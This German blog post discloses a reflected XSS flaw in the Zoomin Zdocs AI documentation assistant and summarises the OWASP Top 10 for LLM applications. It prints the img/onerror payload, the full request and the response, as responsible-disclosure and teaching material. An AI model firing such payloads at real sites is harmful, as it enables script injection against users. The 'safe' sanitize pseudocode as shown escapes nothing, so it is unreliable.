Nimmt die KI die Jobs in der Cybersicherheit weg? Es wird das Gegenteil sein – Beispiel XSS in Zoomin!

Im Kontext der zunehmenden Rolle der künstlichen Intelligenz (KI) in verschiedenen Bereichen wird die Frage nach ihrem Einfluss auf den Arbeitsmarkt in der Cybersicherheit immer relevanter. Einerseits können Automatisierung und intelligente Systeme Prozesse zur Daten- und IT-Infrastruktur-Sicherheit erheblich beschleunigen und verbessern. Andererseits besteht die Sorge, dass KI Menschen in einigen Funktionen ersetzen könnte, was zu einem Rückgang der verfügbaren Arbeitsplätze führt. Aus meinen bisherigen Beobachtungen ergibt sich jedoch, dass das Gegenteil der Fall sein wird (zumindest für Sicherheitsexperten)!

Möglichkeiten der KI in der Cybersicherheit

KI hat die Fähigkeit, riesige Datenmengen in kurzer Zeit zu analysieren, was in der Cybersicherheit entscheidend ist, da die Reaktionsgeschwindigkeit auf Bedrohungen oft entscheidend ist. Maschinelle Lernalgorithmen können unbekannte Bedrohungen basierend auf der Analyse von Verhaltensmustern und historischen Daten erkennen. Dadurch ist es möglich, Sicherheitsvorfälle schneller und präziser zu identifizieren und darauf zu reagieren. Die Automatisierung von Analyse- und Reaktionsprozessen auf Bedrohungen könnte dazu führen, dass weniger Arbeitsplätze für Sicherheitsexperten auf niedriger Ebene, die sich mit routinemäßiger Überwachung und Alarmreaktion beschäftigen, erforderlich sind. Andererseits entstehen neue Spezialgebiete wie maschinelles Lernen in der Cybersicherheit, Verwaltung intelligenter Verteidigungssysteme oder Analyse fortschrittlicher Bedrohungen unter Verwendung von KI. Experten müssen nicht nur das Funktionieren moderner KI-Werkzeuge verstehen, sondern auch in der Lage sein, diese zu entwickeln und an spezifische Sicherheitsanforderungen anzupassen.

Automatisierung der Codeerstellung = mehr Sicherheitsfehler + neue Schwachstellenklassen

Fehler durch automatische Werkzeuge

Die Erstellung von Anwendungen war noch nie so einfach, zugänglich für nicht-technische Personen und schnell. Dies führt zu einer „Flut“ neuer Anwendungen. Gleichzeitig erlebt man einen Boom bei der Einführung von KI-Elementen in bestehende Software. Die Automatisierung, insbesondere in Form von Code-Generatoren oder Entwicklungs-Frameworks, kann jedoch unbeabsichtigte Fehler und Sicherheitslücken verursachen. Diese Werkzeuge arbeiten nach festgelegten Mustern und Algorithmen, die spezifische Bedingungen oder Sicherheitsnuancen, die von erfahrenen Programmierern verstanden und angewendet werden, möglicherweise nicht berücksichtigen. Beispielsweise könnte automatisch generierter Code nicht ausreichend gegen Angriffe wie SQL-Injection oder Cross-Site-Scripting (XSS) gesichert sein, wenn das Werkzeug nicht ordnungsgemäß konfiguriert ist, um diese Bedrohungen zu berücksichtigen.

XSS in Zoomin Zdocs

Ein Beispiel für einen solchen Fehler, bei dem KI schnell implementiert wurde, ist der von mir gefundene einfache „Reflected Cross-Site Scripting“ in der Anwendung Zoomin Zdocs. Eine großartige Idee scheint die Einführung eines KI-Assistenten zur Unterstützung der Dokumentation einer Anwendung zu sein, bei der man durch eine Frage erfahren kann, wie man die betreffende Software benutzt. Man sollte jedoch bedenken, dass KI-Antworten in gewisser Weise unvorhersehbar sein können und Sicherheitsfehler verursachen können. In der Zoomin-Anwendung reichte es aus, den Assistenten zu fragen, was er von –

<img src=1 href=1 onerror="javascript:alert(document.domain)"></img>?

um in der Antwort zu erhalten, dass er keine Antwort auf unsere Frage finden konnte und sie zitierte:

I'm sorry, but I couldn't find a definitive answer to: <img src=1 href=1 onerror="javascript:alert(document.domain)"></img>?. Please provide more context or clarify your query.

Die gesamte Anfrage sah wie folgt aus:

POST /api/aisearch/stream HTTP/1.1
Host: docs.zoominsoftware.com
Referer: https://docs.zoominsoftware.com/search?q=%3Cimg%20src%3D1%20href%3D1%20onerror%3D%22javascript%3Aalert%28document.domain%29%22%3E%3C%2Fimg%3E%3F Content-Type: application/json
Content-Length: 132
Origin: https://docs.zoominsoftware.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close  

{"q":"<img src=1 href=1 onerror=\"javascript:alert(document.domain)\"></img>?","labelkey":[],"customer":"Zoomin","language":"en-US"}

Antwort des Servers:

HTTP/2 200 OK
Date: Tue, 19 Mar 2024 19:50:37 GMT
Content-Type: text/plain; charset=utf-8
Content-Security-Policy: frame-ancestors 'self'
X-Frame-Options: DENY
Strict-Transport-Security: max-age=63072000; includeSubDomains
X-Content-Type-Options: nosniff Referrer-Policy: no-referrer-when-downgrade
X-Xss-Protection: 0
Feature-Policy: fullscreen *
X-Trace-Id: 2f16ebe9-9138-40e4-a568-27ab5d015ea2
X-Search-Results-Count: 3
X-Topic-References:
[{"page_id":"how_to_use_event_listeners_in_your_in-product_help_hosting_web_application.html","bundle_id":"IPH","title":"How to Use Event Listeners in Your In-Product Help Hosting Web Application","topic_target_link":"https://docs.zoominsoftware.com/bundle/IPH/page/how_to_use_event_listeners_in_your_in-product_help_hosting_web_application.html","language":"enus"},{"page_id":"about_the_zoomin_in-product_help_security_settings.html","bundle_id":"IPH","title":"About the Zoomin In-Product Help Security Settings","topic_target_link":"https://docs.zoominsoftware.com/bundle/IPH/page/about_the_zoomin_in-product_help_security_settings.html","language":"enus"},{"page_id":"ssl_certification.html","bundle_id":"zoomin-onboard","title":"SSL Certification","topic_target_link":"https://docs.zoominsoftware.com/bundle/zoomin-onboard/page/ssl_certification.html","language":"enus"}]  

I'm sorry, but I couldn't find a definitive answer to: <img src=1 href=1 onerror="javascript:alert(document.domain)"></img>?. Please provide more context or clarify your query.

Wie Sie sehen, wurden die Eingabedaten nicht korrekt validiert und saniert, was zur Ausführung des eingefügten JavaScript-Codes führte:

Beispielhafter Pseudocode mit unsicherer Antwortanzeige:

function displayResponse(userInput):
# Lese Benutzereingaben
query = userInput
# Zeige Antwort ohne Sanierung der Eingaben an
# Dies ist unsicher, da es die Ausführung von Skripten im userInput erlaubt
print("Antwort auf deine Frage: " + query)

Beispielhafter Pseudocode mit sicherer Antwortanzeige:

function sanitize(input):
# Entferne oder kodiere spezielle HTML-Zeichen in den Eingaben, z.B. <, >, ", ' und andere
return input.replace("<", "<").replace(">", ">").replace("\"", """).replace("'", "'")
function displayResponse(userInput):
# Lese Benutzereingaben
query = userInput
# Sanitiere Eingaben
safeQuery = sanitize(query)
# Zeige sicher die Antwort an
# Die Sanierung verhindert die Ausführung von bösartigem Code
print("Antwort auf deine Frage: " + safeQuery)

Die Schwachstelle (zusammen mit einer Reihe anderer) wurde dem Hersteller gemeldet und behoben.

Replikation von Fehlern

Ein Hauptnachteil der Automatisierung ist die Replikation desselben Codes an vielen Stellen, was zur massenhaften Verbreitung von Fehlern oder Schwachstellen führen kann. Wenn ein Fehler in einer Code-Generierungskomponente vorhanden ist (und KI kann auf fehlerhaftem Code trainiert werden), ist jede Anwendung oder jedes System, das diesen Code verwendet, potenziell gefährdet. Dieses Phänomen skaliert das Sicherheitsproblem und macht es schwieriger zu verwalten und zu beheben.

Schwierigkeiten bei der Überprüfung und Überarbeitung von Code

Automatisch generierter Code ist oft komplex oder wird auf eine Weise generiert, die für „menschliche“ Programmierer nicht intuitiv ist. Dies kann manuelle Codeüberprüfungen erschweren, die entscheidend sind, um subtile logische Fehler oder Sicherheitsschwachstellen zu identifizieren. Der Mangel an Transparenz und Verständnis des generierten Codes kann dazu führen, dass wichtige Probleme während der Sicherheitstests übersehen werden.

Neue Schwachstellenklassen

Die Automatisierung kann neue Schwachstellenklassen einführen, die bei manueller Codeerstellung weniger wahrscheinlich wären. Beispielsweise sind Abhängigkeiten zwischen automatisch generierten Modulen möglicherweise nicht vollständig verständlich oder von Entwicklern kontrolliert, was den Weg für Abhängigkeits- und Anwendungslogik-Angriffe öffnet. Es entstehen auch neue Schwachstellenklassen wie „Prompt Injection“.

OWASP Top 10 für Anwendungen mit großen Sprachmodellen

OWASP hat vor einem Jahr damit begonnen, die größten Bedrohungen durch die Nutzung von LLMAs zu identifizieren und Empfehlungen zu deren Schutz zu geben – OWASP Top 10 for LLLM. Die Liste lautet wie folgt:

LLM01: Prompt Injection

Manipulation eines großen Sprachmodells (LLM) durch geeignete Eingaben, die unbeabsichtigte Aktionen des LLM verursachen. Direkte Injektionen überschreiben System-Prompts, während indirekte Eingaben von externen Quellen manipuliert werden.

LLM02: Unsicheres Handhaben von Ausgaben

Diese Schwachstelle tritt auf, wenn die Ausgabe des LLM ohne Überprüfung akzeptiert wird, wodurch Backend-Systeme gefährdet werden. Missbrauch kann zu schwerwiegenden Folgen wie XSS, CSRF, SSRF, Berechtigungsausweitung oder Remote-Code-Ausführung führen.

LLM03: Trainingsdaten-Vergiftung

Tritt auf, wenn die Trainingsdaten des LLM manipuliert werden, was zu Schwachstellen oder Fehlern führt, die die Sicherheit, Effektivität oder ethisches Verhalten beeinträchtigen. Quellen umfassen Common Crawl, WebText, OpenWebText und Bücher.

LLM04: Modell-Delegation

Angreifer verursachen ressourcenintensive Operationen auf dem LLM, was zu Dienstverschlechterung oder hohen Kosten führt. Diese Schwachstelle wird durch die ressourcenintensive Natur des LLM und die Unvorhersehbarkeit der Benutzereingaben verschärft.

LLM05: Lieferketten-Schwachstellen

Der Lebenszyklus von LLM-Anwendungen kann durch anfällige Komponenten oder Dienste gefährdet werden, was zu Sicherheitsangriffen führt. Die Verwendung externer Datensätze, vortrainierter Modelle und Plugins kann die Anfälligkeit erhöhen.

LLM06: Offenlegung vertraulicher Informationen

LLM kann unbeabsichtigt vertrauliche Daten in seinen Antworten preisgeben, was zu unbefugtem Datenzugriff, Datenschutzverletzungen und Sicherheitsverletzungen führen kann. Es ist wichtig, eine Daten-Sanitisierung und strenge Nutzungsrichtlinien zu implementieren, um dies zu verhindern.

LLM07: Unsichere Plugin-Designs

LLM-Plugins können ungeprüfte Eingaben und unzureichende Zugriffskontrollen haben. Das Fehlen von Anwendungssteuerungen erleichtert den Missbrauch und kann zu Folgen wie Remote-Code-Ausführung führen.

LLM08: Übermäßige Autonomie

LLM-basierte Systeme können Aktionen ausführen, die zu unbeabsichtigten Ergebnissen führen. Dieses Problem ergibt sich aus übermäßiger Funktionalität, zu vielen Berechtigungen oder der Autonomie, die LLM-basierten Systemen gewährt wird.

LLM09: Übermäßiges Vertrauen

Systeme oder Personen, die zu sehr auf LLM vertrauen, ohne Aufsicht, sind anfällig für Fehlinformationen, Kommunikationsfehler, rechtliche Probleme und Sicherheitsfehler aufgrund von falschen oder unangemessenen Inhalten, die von LLM generiert werden.

LLM10: Modell-Diebstahl

Betrifft unbefugten Zugriff, Kopieren oder Diebstahl von proprietären LLM-Modellen. Auswirkungen umfassen wirtschaftliche Verluste, Verlust des Wettbewerbsvorteils und potenziellen Zugang zu vertraulichen Informationen.

Was tun? Wie leben?

OWASP hat zusammen mit der Liste Top 10 for LLLM eine Reihe von Empfehlungen für einen sicheren Ansatz zur Implementierung von LLM in Ihrer Organisation herausgegeben – LLM AI Cybersecurity & Governance Checklist. Die folgenden Empfehlungen betreffen die Programmierung:

  • Modellieren Sie Bedrohungen für LLM-Komponenten und setzen Sie Vertrauensgrenzen für die Architektur.
  • Datensicherheit: Überprüfen Sie, wie Daten je nach Sensibilität klassifiziert und geschützt werden, einschließlich personenbezogener und betrieblicher Daten. (Wie werden Benutzerberechtigungen verwaltet und welche Schutzmechanismen sind implementiert?)
  • Zugriffskontrolle: Implementieren Sie Zugriffskontrollen nach dem Prinzip der minimalen Berechtigungen und wenden Sie mehrschichtige Verteidigungsmaßnahmen an.
  • Sicherheit des Schulungsprozesses: Erfordern Sie strenge Kontrolle über die Verwaltung von Schulungsdaten, Prozessen, Modellen und Algorithmen.
  • Sicherheit von Eingaben und Ausgaben: Bewerten Sie Methoden zur Validierung von Eingaben sowie zur Filterung, Sanitisierung und Validierung von Ausgaben.
  • Überwachung und Reaktion: Kartieren Sie Arbeitsabläufe, überwachen und reagieren Sie, um die Automatisierung zu verstehen, und stellen Sie sicher, dass Protokollierung und Audits durchgeführt werden. Bestätigen Sie die Sicherheit der Audit-Protokolle.
  • Berücksichtigen Sie Anwendungstests, Quellcode-Überprüfungen, Schwachstellenbewertungen und Penetrationstests im Produktentwicklungsprozess.
  • Überprüfen Sie bestehende Schwachstellen im LLM-Modell oder in der Lieferkette.
  • Berücksichtigen Sie die Auswirkungen von Bedrohungen und Angriffen auf LLM-Lösungen, wie Prompt Injection, Offenlegung sensibler Informationen und Modellmanipulation.
  • Untersuchen Sie die Auswirkungen von Angriffen und Bedrohungen auf LLM-Modelle, einschließlich Modell-Vergiftung, unsachgemäße Handhabung von Daten, Lieferketten-Angriffe und Modell-Diebstahl.
  • Lieferkettensicherheit: Erfordern Sie Drittanbieter-Audits, Penetrationstests und Code-Überprüfungen für externe Anbieter (sowohl zu Beginn als auch im regelmäßigen Prozess).
  • Infrastruktursicherheit: Fragen Sie, wie oft der Anbieter Belastungstests durchführt. Wie sind ihre SLA in Bezug auf Verfügbarkeit, Skalierbarkeit und Leistung?
  • Aktualisieren Sie Handbücher zur Reaktion auf Vorfälle und fügen Sie LLM-bezogene Vorfälle zu regelmäßigen Sicherheitsszenarien hinzu.
  • Identifizieren oder erweitern Sie Metriken, um generative KI in der Cybersicherheit mit anderen Ansätzen zu vergleichen, um die erwarteten Leistungsverbesserungen zu messen.

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!). Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Speichere in deinen Favoriten diesen permalink.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert